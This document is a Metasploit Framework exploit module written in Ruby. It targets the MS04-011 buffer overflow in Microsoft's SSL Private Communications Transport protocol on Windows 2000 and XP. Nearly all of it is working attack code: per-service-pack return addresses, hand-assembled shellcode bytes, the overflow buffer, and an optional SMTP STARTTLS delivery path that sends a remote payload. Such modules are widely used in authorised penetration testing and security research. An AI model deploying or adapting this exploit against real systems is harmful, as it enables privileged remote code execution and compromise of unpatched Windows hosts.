Microsoft Private Communications Transport – Remote Overflow (MS04-011) (Metasploit)
## # $Id: ms04_011_pct.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Private Communications Transport Overflow', 'Description' => %q{ This module exploits a buffer overflow in the Microsoft Windows SSL PCT protocol stack. This code is based on Johnny Cyberpunk's THC release and has been tested against Windows 2000 and Windows XP. To use this module, specify the remote port of any SSL service, or the port and protocol of an application that uses SSL. The only application protocol supported at this time is SMTP. You only have one chance to select the correct target, if you are attacking IIS, you may want to try one of the other exploits first (WebDAV). If WebDAV does not work, this more than likely means that this is either Windows 2000 SP4+ or Windows XP (IIS 5.0 vs IIS 5.1). Using the wrong target may not result in an immediate crash of the remote system. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10394 $', 'References' => [ [ 'CVE', '2003-0719'], [ 'OSVDB', '5250'], [ 'BID', '10116'], [ 'MSB', 'MS04-011'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 1800, 'BadChars' => "", 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'Windows 2000 SP4', { 'Platform' => 'win', 'Ret' => 0x67419ce8, # jmp [esp + 0x6c] }, ], [ 'Windows 2000 SP3', { 'Platform' => 'win', 'Ret' => 0x67419e1d, # jmp [esp + 0x6c] }, ], [ 'Windows 2000 SP2', { 'Platform' => 'win', 'Ret' => 0x6741a426, # jmp [esp + 0x6c] }, ], [ 'Windows 2000 SP1', { 'Platform' => 'win', 'Ret' => 0x77e4f44d, # jmp [ebx + 0x14] }, ], [ 'Windows 2000 SP0', { 'Platform' => 'win', 'Ret' => 0x7658a6cb, # jmp [ebx + 0x0e] }, ], [ 'Windows XP SP0', { 'Platform' => 'win', 'Ret' => 0x0ffb7de9, # jmp [esp + 0x6c] }, ], [ 'Windows XP SP1', { 'Platform' => 'win', 'Ret' => 0x0ffb832f, # jmp [esp + 0x6c] }, ], ], 'DisclosureDate' => 'Apr 13 2004', 'DefaultTarget' => 0)) register_options( [ OptString.new('PROTO', [true, "The application protocol: raw or smtp", "raw"]) ], self.class) end def exploit connect print_status("Trying target #{target.name} with proto #{datastore['PROTO']}...") # This is a heap ptr to the ssl request # ... and just happens to not die ... # Thanks to CORE and Halvar # # 80620101 => and byte ptr [esi+1], 0x2 # bd00010001 => mov ebp, 0x1000100 # 0016 => add [esi], dl # 8f8201000000 => pop [esi+1] # eb0f => jmp short 11 to shellcode buf = "\x80\x66\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x86\x01\x00\x00\x00"+ "\xeb\x0f" + 'XXXXXXXXXXX' + [target.ret ^ 0xffffffff].pack('V')+ payload.encoded # Connect to a SMTP service, call STARTTLS if (datastore['PROTO'] == 'smtp') greeting = sock.get_once sock.put('HELO ' + (rand_text_alphanumeric(rand(10)+1)) + "\r\n") resp = sock.get_once sock.put("STARTTLS\r\n") resp = sock.get_once if (resp and resp !~ /^220/) print_status("Warning: this server may not support STARTTLS") end end sock.put(buf) resp = sock.get_once if (resp == "\x00\x00\x01") print_status("The response indicates that the PCT protocol is disabled") end handler disconnect end end |